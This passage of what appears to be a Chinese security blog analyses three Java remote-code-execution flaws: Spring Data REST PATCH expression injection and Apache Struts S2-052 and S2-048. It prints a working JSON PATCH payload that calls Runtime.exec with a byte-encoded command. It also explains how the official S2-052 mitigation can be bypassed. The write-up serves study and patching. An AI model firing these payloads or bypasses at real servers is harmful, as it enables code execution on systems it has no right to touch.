    at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:123) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:416) ~[spring-expression-4.3.7.RELEASE.jar:4.3.7.RELEASE]
    at org.springframework.data.rest.webmvc.json.patch.PatchOperation.addValue(PatchOperation.java:148) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.AddOperation.perform(AddOperation.java:48) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.json.patch.Patch.apply(Patch.java:64) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.applyPatch(JsonPatchHandler.java:91) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.JsonPatchHandler.apply(JsonPatchHandler.java:83) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]
    at org.springframework.data.rest.webmvc.config.PersistentEntityResourceHandlerMethodArgumentResolver.readPatch(PersistentEntityResourceHandlerMethodArgumentResolver.java:200) ~[spring-data-rest-webmvc-3.0.0.RC2.jar:na]

前面都是讲path参数，也就是表达式的写法。在这个poc中还用到op参数，op表示要执行的动作，在代码中定义了add,copy,from,move,replace,test这么多操作值，add，test，replace可直接触发漏洞，并且test非常直接，path参数值无需斜杠/，[]来分割，poc如下：

1
2

[{"op":"test","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{112, 105, 110, 103, 32, 49, 57, 50, 46, 49, 54, 56, 46, 51, 46, 49, 48, 54}))"
}]

很明显这个poc的path参数值无线跟/ []来分割参数。原因就是它调用的是SpelExpression.getValue，而非test情况下的poc最终调用的都是SpelExpression.setValue，通过setValue调用getValueRef来达到表达式注入。
下面看看test的调用栈：

这个点官方也没修，但是有个限制：

1
2
3
4
5
6
7
8
9
10

@Override
<T> void perform(Object target, Class<T> type) {
   Object expected = normalizeIfNumber(evaluateValueFromTarget(target, type));
   Object actual = normalizeIfNumber(getValueFromTarget(target));
   if (!ObjectUtils.nullSafeEquals(expected, actual)) {
      throw new PatchException("Test against path '" + path + "' failed.");
   }
}

evaluateValueFromTarget运行在前，会报错退出，导致getValueFromTarget不会被执行，怎么绕过去呢？值得思考。

综述

2017年9月5日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x和2.3.x的REST插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9805（S2-052）。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有任何类型过滤导致远程代码执行。
相关链接如下：
https://cwiki.apache.org/confluence/display/WW/S2-052
影响版本：
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
规避方案
立即升级到Struts 2.5.13 or Struts 2.3.34

技术分析

根据官方的描述信息来看，是REST插件使用到XStreamHandler处理xml数据的时候，由于未对xml数据做任何过滤，在进行反序列将xml数据转换成Object时导致的RCE。

0x01 环境搭建

从官方地址（https://archive.apache.org/dist/struts/2.5/struts-2.5-all.zip）下载所有源码包，找到其中的struts2-rest-showcase.war直接部署到tomcat就行，当然我更喜欢手动编译，直接通过Maven编译即可。具体的部署过程这里就不详细描述，不过有点是需要注意的，由于javax.imageio的依赖关系，我们的环境的jdk版本需要是jdk8以上，jdk8某些低版本也是不行的，本文作者的版本是jdk8_102，后续的一些验证都是在这个版本上做的

0x02 补丁分析

环境搭建好了之后，首先我们来看下rest插件的相关配置

从这个文件中就可以看出XStreamHanler就是Content-Type:xml的默认处理句柄，而且可以看出xml是默认支持格式，这也就是说存在rest插件就会存在XStream的反序列化漏洞。
接着看看官方的修复方案，补丁地址：https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264
在官方的修复方案中,主要就是将xml中的数据白名单化，把Collection和Map，一些基础类，时间类放在白名单中，这样就能阻止XStream反序列化的过程中带入一些有害类。

0x03 POC的生成

目前公开的Poc是基于javax.imageio的，这是能直接本地执行命令，但是marshelsec提供了11个XStream反序列化库，其中大部分都是基于JNDI，具体包含：CommonsConfiguration, Rome, CommonsBeanutils, ServiceLoader, ImageIO, BindingEnumeration, LazySearchEnumeration, SpringAbstractBeanFactoryPointcutAdvisor, SpringPartiallyComparableAdvisorHolder, Resin, XBean
从外部请求类完成反序列化。

0x04 漏洞验证及简单分析

下图是一个简单的验证分析图，从Poc中可以看出，请求是PUT，请求的url后缀带xml，请求的Content-Type为delicious/bookmark+xml，请求的xml的前缀是<set>.

接着我们看下触发的执行调用栈：

在XStreamHanler.toObject调用了XStream的fromXml，从而进入反序列化流程。

0x05 官方临时缓解措施不起作用

官方给出的缓解措施<constant name="struts.action.extension" value="xhtml,,,json" />，从字面意思也能看出来，这个是针对action的后缀的，也就是说如果后缀不带xml也就可以绕过。下面给出测试用例，从我们的poc中也可以看出，POST请求不带xml的后缀直接忽视这个缓解措施。所以说Struts的官方也不怎么复制，没测试过的东西就直接放出来。XStream只跟Content-Type有关，如果Content-Type中含有xml，则会交给XStream处理，所以poc该怎么使还怎么使，并且目前最大的问题就是国内的解决都是使用的这个无效的官方解决方案，下面看下我们的验证：

从图上可以看出，我们已经去除了xml的支持，下面来看看Payload的执行效果：

成功弹出计算器，这也就验证了我们的想法。同时通过两个不同poc的比较，我们也能发现一些端倪，Content-Type支持xml的几种格式，POST请求，PUT请求，GET请求甚至是自定义请求都是能触发漏洞，我们可以将poc中<map><entry>换成<set>也能触发漏洞。同时由于XStream本身的Poc多大十一种，做好安全防御确实比较艰难。

综述

2017年7月7日，Apache Struts发布最新的安全公告，Apache Structs2的strus1插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9791（S2-048）。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin的插件，远程执行代码

漏洞分析

(1) 漏洞简介
Apache Struts2.3.x系列版本中struts2-struts1-plugin存在远程代码执行漏洞，进而导致任意代码执行。
(2) 漏洞分析
官方的漏洞描述如下：

从官方的漏洞描述我们可以知道，这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是用将struts1的action封装成struts2的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数，这个函数会执行ognl表达式，更可恶的是getText的输入内容还是攻击者可控的。以下分析基于struts2的官方示例struts2-showcase war包。首先Struts1Action的execute方法代码如下，从红框中信息可以看出其实质是调用SaveGangsterAction.execute方法，然后再调用getText(msg.getKey()….)。

在struts2-showcase的integration模块下有SaveGangsterAction.java的execute方法的实现。具体如下：

在这个方法中就带入有毒参数gforn.getName()放到了messages结构中，而gform.getName()的值是从客户端获取的。Gangsterform.getName()的实现如下：

我们这里传入了${1+1}。有毒参数已经带入，就差ognl表达式。继续回到Struts1Action.java的execute方法下半部分，这里有getText()的入口，能清晰看到参数已经被污染，具体如下图：

下面进入getText的实现函数：这个调用栈比较深，首先我们给出栈图：

从Struts1action.execute函数开始，到ActionSupport的getText()方法，方法如下：

接着进入TextProviderSuppport.getText，接着调用其另一个重载类方法getText(),示例如下：

如图所示，进入LocalizeTextUtil.findText，继续分析其实现：从名字上也能看出其是根据用户的配置做一些本地化的操作。代码如下：

熟悉struts2的童鞋跟到这一步就能发现这就是一个很典型的ognl表达式入口，先是得到一个valueStack，再继续递归得到ognl表达式的值。这里不再描述，详情可参考官方链接：https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html
最后附上一个简单的测试用例图：